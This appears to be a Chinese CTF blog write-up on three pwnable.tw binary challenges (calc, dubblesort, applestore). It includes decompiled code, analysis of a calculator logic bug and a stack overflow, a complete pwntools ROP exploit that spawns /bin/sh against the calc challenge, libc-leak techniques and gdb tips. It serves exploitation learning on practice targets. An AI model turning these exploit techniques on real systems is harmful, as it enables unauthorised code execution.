calc dubblesort applestore
calc 逻辑漏洞造成可以泄露栈上内容以及写栈上返回地址
程序实现了简单计算器的功能。主函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned  int  calc () {   int  result[101 ];    char  expr[1024 ];    unsigned  int  v3;    v3 = __readgsdword(0x14 u);   while  ( 1  )   {     bzero(expr, 0x400 u);     if  ( !get_expr(expr, 1024 ) )                       break ;     init_pool(result);                               if  ( parse_expr(expr, result) )     {       printf ("%d\n" , result[result[0 ]]);       fflush(stdout );     }   }   return  __readgsdword(0x14 u) ^ v3; } 
其中出现漏洞的函数是parse_expr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 int  __cdecl parse_expr (char  *expr, int  *num_pool) {   int  v3;    char  *old_opera_plus1;    int  opera_start_idx;    int  v6;    int  len;    char  *num_str;    int  num;    char  opera_pool[100 ];    unsigned  int  v11;    v11 = __readgsdword(0x14 u);   old_opera_plus1 = expr;   v6 = 0 ;   bzero(opera_pool, 0x64 u);   for  ( opera_start_idx = 0 ; ; ++opera_start_idx )   {     if  ( expr[opera_start_idx] - (unsigned  int )'0'  > 9  )     {       len = &expr[opera_start_idx] - old_opera_plus1;       num_str = (char  *)malloc (len + 1 );       memcpy (num_str, old_opera_plus1, len);       num_str[len] = 0 ;       if  ( !strcmp (num_str, "0" ) )                     {         puts ("prevent division by zero" );         fflush(stdout );         return  0 ;       }       num = atoi(num_str);       if  ( num > 0  )       {         v3 = (*num_pool)++;                    num_pool[v3 + 1 ] = num;              }       if  ( expr[opera_start_idx] && expr[opera_start_idx + 1 ] - (unsigned  int )'0'  > 9  )       {         puts ("expression error!" );         fflush(stdout );         return  0 ;       }       old_opera_plus1 = &expr[opera_start_idx + 1 ];       if  ( opera_pool[v6] )       {         switch  ( expr[opera_start_idx] )                 {           case  '%' :           case  '*' :           case  '/' :             if  ( opera_pool[v6] != '+'  && opera_pool[v6] != '-'  )               goto  LABEL_14;             opera_pool[++v6] = expr[opera_start_idx];                break ;           case  '+' :           case  '-' : LABEL_14:             eval(num_pool, opera_pool[v6]);                  opera_pool[v6] = expr[opera_start_idx];             break ;           default :             eval(num_pool, opera_pool[v6--]);             break ;         }       }       else        {         opera_pool[v6] = expr[opera_start_idx];       }       if  ( !expr[opera_start_idx] )         break ;     }   }   while  ( v6 >= 0  )     eval(num_pool, opera_pool[v6--]);   return  1 ; } 
         eval的内容就是将num_pool的倒数两个数用operator计算一下存入倒数第二个数的位置并将num_pool[0]减一。
        其中有一句if ( expr[opera_start_idx] - (unsigned int)'0' > 9 )// operator or \0  不同类型进行运算时进行转换符合一套规则,完整可见《c++ primer plus》中文第六版p64。在这个表达式中两个操作数一个有符号,另一个无符号,无和有的级别相同,且有不能表示无的所有可能取值,前7条均不符合,故符合的应该是(8)将两个操作数都转换为有符号类型的无符号版本。
      现在考虑有哪些没被排除的非法输入。(草其实我自己看是看不出来哪有问题的……)元素有两个,运算符和数。在对num_pool计算时将数的个数放在0的位置,可能导致个数被当成操作数进行计算。那么如何达成错开一个数的效果呢?可以考虑比一般情况少输入一个数。发现第一个元素为运算符的情况程序没有考虑。
      输入+n时,第一次循环检测到+将+存入opera_pool,第二次将n存入num_pool[1,n],计算结果num_pool[n+1,n]->[n,n],返回``result[result[0]]=num_pool[n]`,我们可以用这个思路来泄露任意偏移栈上的内容。
      而输入+x+n(x不为1)计算的结果都将是n。比如输入+10+1后按照程序逻辑,第一次循环检测到运算符+,将+存入opera_pool;第二次循环检测到第二个+,将x存入num_pool  [1,10],再将+存入opera_pool,进入eval后num_pool变为[11,10]->[10,10];进入第三次循环检测到结尾的\0,将n存入num_pool,此时num_pool[11]=1,再进行计算,num_pool[10]=num_pool[10]+num_pool[11]=1。而此时opera_pool已经为空了所以返回了result[result[0]]=num_pool[10]=1。利用这个思路达到任意偏移写。
利用       静态编译,考虑构造11号系统调用。(条件我还不知道是从哪来的…)粘自网络:
1 2 3 4 eax = 11 ebx = addr("/bin/sh") ecx = 0 edx = 0 
      由int result[101]; // [esp+18h] [ebp-5A0h] BYREF,0x5a0/4=360,我们得到了栈的基址即得到了写入/bin/sh的地址。查找rop链控制参数即可。写的时候注意两个地方,一个是栈上原有的数据可能干扰写入,一个是不能直接把0写进去,只要0在运算符后都被判invalid。我的处理办法是先从高地址往低写1,需要0时第二个运算符换成-就得到了0。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from  pwn import  *;from  LibcSearcher import  *name='./calc'  f=ELF(name) if  args.G:    p=remote("chall.pwnable.tw" ,10100 ) else :         p=process(name) context(os='linux' ,arch='i386' ,log_level='debug' ) one=[0x4527a ,0x45226 ,0xf0364 ,0xf1207 ] s       = lambda  data               :p.send(str (data)) sa      = lambda  delim,data         :p.sendafter(delim, str (data)) sl      = lambda  data               :p.sendline(data) sla     = lambda  delim,data         :p.sendlineafter(delim, data) r       = lambda  num          :p.recv(num) ru      = lambda  delims, drop=True   :p.recvuntil(delims, drop) uu64    = lambda  data               :u64(data.ljust(8 ,'\0' )) uu32    = lambda  data               :u32(data.ljust(4 ,'\0' )) leak    = lambda  name,addr          :log.success('{} = {:#x}' .format (name, addr)) l	= lambda  x		:log.success(x) dbg = lambda  :    gdb.attach(p,"b *0x80493f2" )  def  pa (i,num ):    sl('+' +str (360 +i)+'+' +str (num)) eax=0x0805c34b  edx_c_b=0x080701d0  ecx_b=0x080701d1  ebx_esi=0x0804a094  int_80=0x08049a21  sla('===\n' ,flat('+' ,'360' )) ebp=int (ru('\n' ,drop=True ))+0xffffffff +1 -0x20  log.info("ebp:" +hex (ebp)) log.info('num_pool:' +hex (ebp-0x5a0 )) for  i in  range (11 ,-1 ,-1 ):    pa(i,1 ) pa(12 +2 ,0x68732f ) pa(11 +2 ,0x6e69622f ) pa(10 +2 ,int_80) sl('+371-' +str (0xffffffff -ebp-46 -8 )) pa(7 +2 ,ebx_esi) sl('+368-' +str (1 )) pa(4 +2 ,ecx_b) sl('+364-' +str (1 )) pa(0 +2 ,edx_c_b) pa(1 ,11 ) pa(0 ,eax) sl('a' ) p.interactive() 
dubblesort       接收字符串打印并往栈上写东西。打印时用的是printf,遇到\0截断,考虑覆盖栈上内容带出来libc有关的内容。写的时候因为会对输入内容排序记得保证值不减小。这个地方的找偏移我长了点见识。
      输入以后看栈上内容:
1 2 3 4 5 6 7 8 9 10 gdb-peda$ tel 0xffba6b9c 0000| 0xffba6b9c ('a' <repeats 23 times>, "\n") 0004| 0xffba6ba0 ('a' <repeats 19 times>, "\n") 0008| 0xffba6ba4 ('a' <repeats 15 times>, "\n") 0012| 0xffba6ba8 ('a' <repeats 11 times>, "\n") 0016| 0xffba6bac ("aaaaaaa\n") 0020| 0xffba6bb0 ("aaa\n") 0024| 0xffba6bb4 --> 0xf7f3e000 --> 0x1b2db0  0028| 0xffba6bb8 --> 0xf7f3c244 --> 0xf7da3030 (<_IO_check_libio>:	) gdb-peda$  
      以0x28处的值为例。本地中它相对于libc的偏移为0x1b1244,执行readelf -S /lib/i386-linux-gnu/libc-2.23.so
1 2 [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al [24] .tbss             NOBITS          001b1244 1b0244 000040 00 WAT  0   0  4 
      于是对应到给的libc找出该段偏移。(啊不太懂为什么看Addr而不是Off)
1 [23] .tbss             NOBITS          001ae244 1ad244 000040 00 WAT  0   0  4 
applestore       在ida里view->open subviews->local types,按下insert可以用C语言直接声明结构体,在变量处右键转换为结构体指针格式后整理出来的代码看着还是挺爽的。
1 2 3 4 5 6 printf ("%d: Apple Store\n" , 1 );printf ("%d: Add into your shopping cart\n" , 2 );printf ("%d: Remove from your shopping cart\n" , 3 );printf ("%d: List your shopping cart\n" , 4 );printf ("%d: Checkout\n" , 5 );return  printf ("%d: Exit\n" , 6 );
        4个功能,(2)用malloc创建链表结点(3)删除结点(用的是unlink那一套(4)链表遍历打印购物车(5)结账。结账代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned  int  checkout () {   int  total;    item v2;    unsigned  int  v3;    v3 = __readgsdword(0x14 u);   total = cart();   if  ( total == 7174  )   {     puts ("*: iPhone 8 - $1" );     asprintf(&v2.name, "%s" , "iPhone 8" );     v2.value = 1 ;     insert(&v2);        total = 7175 ;   }   printf ("Total: $%d\n" , total);   puts ("Want to checkout? Maybe next time!" );   return  __readgsdword(0x14 u) ^ v3; } 
      实际上当checkout执行过一次后再遍历打印就会失败了,因为此时栈上此处变成了垃圾数据。而观察一下,item v2; // [esp+18h] [ebp-20h] BYREF,三个函数add delete cart 中都存在char nptr[22]; // [esp+26h] [ebp-22h] BYREF,而my_read(nptr, 0x15u);也就是说可以通过溢出写到最后这个结构体。
      调用cart时将成员name写成got表项即可得到libc。接下来考虑怎么修改。思路不难和堆题的unlink联系起来。如果直接将got表项改成system地址,system处代码段为只读不可修改。可以考虑将handler的ebp劫持到atoi的 got表处,用my_read(nptr, 0x15u);修改。
参考 https://p1kk.github.io/ 
一丢丢节省生命的调试技巧        如果想在打开调试窗口时自动执行多条gdb命令,可以在做题文件夹下创建.gdbinit文件,将命令以换行符分隔输入,在家目录下.gdbinit中加入add-auto-load-safe-path ./。这样在命令行进行gdb调试和gdb.attach时都能自动执行输入的命令。
       多条命令一起执行也可定义函数,同样可在.gdbinit中输入↓  如果想走一步看一块内存或者干嘛而display又不是很方便的话可以这么做。
1 2 3 4 def func command ... end 
以及,看了下做题时间。我有病吧,就因为一个calc卡了一年??